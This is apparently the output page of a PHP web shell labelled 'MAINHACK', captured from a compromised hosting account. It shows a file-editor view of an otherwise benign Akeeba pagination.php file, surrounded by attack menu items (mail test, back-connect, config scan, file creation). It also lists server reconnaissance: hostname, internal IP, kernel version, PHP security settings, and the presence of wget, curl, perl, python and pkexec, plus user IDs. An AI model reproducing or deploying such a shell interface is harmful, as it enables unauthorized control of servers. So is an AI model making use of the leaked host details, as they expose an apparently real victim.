[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: pagination.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ use Awf\Pagination\Pagination; use Awf\Pagination\PaginationObject; use Awf\Text\Text; /** * Method to create an active pagination link to the item * * @param PaginationObject $item The object with which to make an active link. * * @return string HTML link */ function _akeeba_pagination_item_active(PaginationObject $item) { return '<a href="' . $item->link . '">' . $item->text . '</a>'; } /** * Method to create an inactive pagination string * * @param PaginationObject $item The item to be processed * * @return string */ function _akeeba_pagination_item_inactive(PaginationObject $item) { return '<span>' . $item->text . '</span>'; } /** * Create the html for a list footer * * @param array $list Pagination list data structure. * * @return string HTML for a list start, previous, next,end */ function _akeeba_pagination_list_render($list, Pagination $pagination) { // Reverse output rendering for right-to-left display. $html = '<ul class="pagination">'; if ($pagination->pagesStart > 1) { $class = $list['start']['active'] ? '' : ' class="disabled"'; $html .= '<li' . $class . '>' . _akeeba_pagination_preprocess_arrows($list['start']['data']) . '</li>'; } $class = $list['previous']['active'] ? '' : ' class="disabled"'; $html .= '<li' . $class . '>' . _akeeba_pagination_preprocess_arrows($list['previous']['data']) . '</li>'; foreach ($list['pages'] as $page) { $class = $page['active'] ? ($page['current'] ? 'active' : '') : 'disabled'; $class = empty($class) ? '' : ' class="' . $class . '"'; $html .= '<li' . $class . '>' . $page['data'] . '</li>'; } $class = $list['next']['active'] ? '' : ' class="disabled"'; $html .= '<li' . $class . '>' . _akeeba_pagination_preprocess_arrows($list['next']['data']) . '</li>'; if ($pagination->pagesStop < $pagination->pagesTotal) { $class = $list['end']['active'] ? '' : ' class="disabled"'; $html .= '<li' . $class . '>' . _akeeba_pagination_preprocess_arrows($list['end']['data']) . '</li>'; } $html .= '</ul>'; return $html; } /** * Replace arrows with icons * * AWF generates pagination arrows using double and single, left and right angled quotes. In FEF-based software we * prefer using elements from our icon font to render a more polished GUI. * * @param string $text The source text with the angled quotes * * @return string The text after the replacements have run */ function _akeeba_pagination_preprocess_arrows($text) { $replacements = array( '«' => '<span class="akion-ios-arrow-back"></span><span class="akion-ios-arrow-back"></span>', '‹' => '<span class="akion-ios-arrow-back"></span>', '»' => '<span class="akion-ios-arrow-forward"></span><span class="akion-ios-arrow-forward"></span>', '›' => '<span class="akion-ios-arrow-forward"></span>', ); return str_replace(array_keys($replacements), array_values($replacements), $text); } /** * Create the HTML for a list footer * * @param array $list Pagination list data structure. * * @return string HTML for a list footer */ function _akeeba_pagination_list_footer($list) { $html = "<div class=\"akeeba-pagination-container\">\n"; $html .= "\n<div class=\"limit\">" . Text::_('AWF_COMMON_LBL_DISPLAY_NUM') . $list['limitfield'] . "</div>"; $html .= $list['pageslinks']; $html .= "\n<div class=\"counter\">" . $list['pagescounter'] . "</div>"; $html .= "\n<input type=\"hidden\" name=\"limitstart\" value=\"" . $list['limitstart'] . "\" />"; $html .= "\n</div>"; return $html; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697